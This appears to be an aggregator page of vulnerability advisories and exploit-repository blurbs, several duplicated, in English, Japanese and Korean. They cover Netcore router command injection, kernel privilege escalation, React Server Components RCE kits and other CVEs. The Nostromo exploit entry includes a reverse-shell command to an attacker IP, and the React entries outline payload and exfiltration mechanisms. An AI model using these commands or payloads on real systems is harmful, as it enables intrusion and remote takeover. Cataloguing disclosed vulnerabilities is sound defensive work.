EUVD-2026-83802

A vulnerability has been found in Netcore NBR200V2 1.3.241127.071246. Affected by this vulnerability is an unknown functionality of the file /usr/bin/networktools of the component Traceroute Diagnostic Feature. The manipulation of the argument url leads to command injection. The attack may be...

EUVD-2026-83808

A vulnerability was determined in Netcore NBR200V2 1.3.241127.071246. This affects an unknown part of the file /www/cgi-bin/networktools of the component CGI Diagnostic Endpoint. This manipulation of the argument param/key/val causes command injection. Remote exploitation of the attack is possibl...

ghostlock-cve-2026-43499-4.19-k40

GhostLock — CVE-2026-43499 PoC Qualcomm 4.19 カーネル CVE-2026-43499 を悪用したローカル特権昇格 — rtmutex の removewaiter バグにより、struct rtmutexwaiter がウェイターのカーネル スタック上にダングリング状態で残される kernel/locking/rtmutex.c、CWE-416 use-after-free。NebuSec/CyberMeowfia IonStack/CVE-2026-43499、Apache-2.0 から Qualcomm Android 4.19.x...

pwneye

pwneye は、ONVIF および RTSP サービスを公開するIPカメラを扱うための、焦点を絞ったポータブルな攻撃的セキュリティツールです。セキュリティ研究者やハッカーが、単一のCLIワークフローから、ディスカバリ、認証テスト、メタデータ収集、ストリーム検証、録画、および後続アクションを簡単に処理できるようにすることを目的としています。 現在サポートされている機能には、以下のものがあります。 WS-DiscoveryによるローカルネットワークのONVIFディスカバリ 単一の認証情報またはユーザー名/パスワードファイルを使用したONVIF認証およびマルチスレッドブルートフォース...

CVE-2026-94095

A vulnerability has been found in Netcore NBR200V2 1.3.241127.071246. Affected by this vulnerability is an unknown functionality of the file /usr/bin/networktools of the component Traceroute Diagnostic Feature. The manipulation of the argument url leads to command injection. The attack may be...

CVE-2026-94096

A vulnerability was found in Netcore NBR200V2 1.3.241127.071246. Affected by this issue is some unknown functionality of the file /usr/bin/networktools of the component LAN IP Configuration Handler. The manipulation of the argument ipv4 results in command injection. The attack may be launched...

CVE-2026-94097

A vulnerability was determined in Netcore NBR200V2 1.3.241127.071246. This affects an unknown part of the file /www/cgi-bin/networktools of the component CGI Diagnostic Endpoint. This manipulation of the argument param/key/val causes command injection. Remote exploitation of the attack is possibl...

CVE-2026-94099 Netcore NBR200V2 Backup Restore restore.cgi command injection

A security flaw has been discovered in Netcore NBR200V2 1.3.241127.071246. This issue affects some unknown processing of the file restore.cgi of the component Backup Restore. Performing a manipulation of the argument QUERYSTRING results in command injection. The attack is possible to be carried o...

CVE-2026-94099

A command injection vulnerability exists in Netcore NBR200V2 (version 1.3.241127.071246) within the Backup Restore component. Manipulating the QUERY_STRING argument of the restore.cgi file allows remote attackers to execute arbitrary commands. A proof-of-concept exploit has been released to the p...

CVE-2026-94099 Netcore NBR200V2 Backup Restore restore.cgi command injection

A security flaw has been discovered in Netcore NBR200V2 1.3.241127.071246. This issue affects some unknown processing of the file restore.cgi of the component Backup Restore. Performing a manipulation of the argument QUERYSTRING results in command injection. The attack is possible to be carried o...

EUVD-2026-83811

A security flaw has been discovered in Netcore NBR200V2 1.3.241127.071246. This issue affects some unknown processing of the file restore.cgi of the component Backup Restore. Performing a manipulation of the argument QUERYSTRING results in command injection. The attack is possible to be carried o...

CVE-2026-31431

CVE-2026-31431 — Copy Fail 追跡サイト Copy Fail パッチステータス追跡ツールのソース: Linuxカーネルにおける algifaead 権限昇格の修正をどのディストリビューションが出荷済みかを記録する単一ページサイトです。 事実が置かれている場所 このバグに関するすべて — CVE ID、影響を受けるバージョンと修正済みバージョン、上流の修正コミット、発見・開示のクレジット、ディストリビューションごとの最終パッチステータス — は、このREADMEではなく追跡ページに属します: 表示: https://kimmo.cloud/CVE-2026-3143...

CVE-2026-34197

CVE-2026-34197 説明 Apache ActiveMQ Broker および Apache ActiveMQ における、不適切な入力検証、コード生成の制御の不備（コードインジェクション）の脆弱性。Apache ActiveMQ Classic は、Web コンソール上で Jolokia JMX-HTTP ブリッジを /api/jolokia/ に公開しています。デフォルトの Jolokia アクセスポリシーは、BrokerService.addNetworkConnectorString や BrokerService.addConnectorString を含む、すべての...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE これは、Nostromo 1.9.6 RCE に対する CVE-2019-16278 のエクスプロイトです。このエクスプロイトにより、被害マシン上で RCE が可能になります。 要件 optparse socat sys 使用方法 以下のようにエクスプロイトを使用できます： root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443...

CVE-2025-55182

CVE-2025-55182 React2Shell エクスプロイトキット 🎯 完全動作するエクスプロイトデモ このプロジェクトは、CVE-2025-55182 React2Shell の完全に機能する デモを提供します。これは、React Server Components と Next.js における重大なリモートコード実行 RCE 脆弱性です。 ステータス: ✅ 動作確認済み - 脆弱なサーバー上で実際のコマンド実行を実現 🚀 含まれるもの 動作するエクスプロイトバイナリ 言語: Go 1.25.5 バイナリ: CVE-2025-55182 7.8MB コンパイル済み実行ファイル...

robin

Robin: AI-Powered Dark Web OSINT Tool Robin is an AI-powered tool for conducting dark web OSINT investigations. It leverages LLMs to refine queries, filter search results from dark web search engines, and provide an investigation summary. Installation • Troubleshooting • Contributing •...

gods-eye-view

🌐 God's Eye View A spy-satellite simulator in your browser — then you realize the sources are public and the data is real. Photorealistic 3D globe. Live aircraft, ships, satellites, earthquakes, traffic, and public cameras. Hands-free voice control powered by a realtime AI agent. No place left...

CVE-2026-34040-PoC

CVE-2026-34040 — Docker/Moby AuthZ プラグイン バイパス（ラボ PoC） KO: Docker（Moby）の認可（AuthZ）プラグインを 1MB を超えるリクエストボディ でバイパスする脆弱性の実習用再現プロジェクトです。 EN: Docker（Moby）の認可（AuthZ）プラグインを 1MB を超えるリクエストボディ でバイパスする脆弱性のラボ再現です。 脆弱性の事実 / 脆弱性の詳細 項目| 値 ---|--- CVE| CVE-2026-34040 CVSS 3.1| 8.8（High）—...

CVE-2025-55182-React-RSC-Exploit

CVE-2025-55182 // REACT SERVER COMPONENTS RCE 概要 CVE-2025-55182 用の Exploit PoC。React Server Components の安全でないバージョンと入力検証関数の 脆弱性を対象としています。 技術的メカニズム Vector : ハイドレーション中の $1:proto :then によるプロトタイプ汚染。 Payload : process.mainModule.require'childprocess' による RCE。 Exfil : X-Action-Redirect ヘッダーを介したデータ漏えい。 要...

CVE-2025-6218-WinRAR-RCE-POC

CVE-2025-6218: WinRAR Path Traversal RCE ⚠️ 심각한 취약점 - 활성 익스플로잇 확인됨 CVE-2025-6218은 WinRAR의 path traversal 취약점으로, 임의 코드 실행을 허용합니다. 현재 APT 그룹GOFFEE, BitterAPT-C-08, Gamaredon에 의해 악용되고 있습니다. 📋 목차 개요 기술 설명 익스플로잇 메커니즘 취약한 버전 공격 시나리오 위협 행위자 Proof of Concept 탐지 및 IOC 완화 조치 타임라인 저장소 구조 참고 자료 🎯 개요...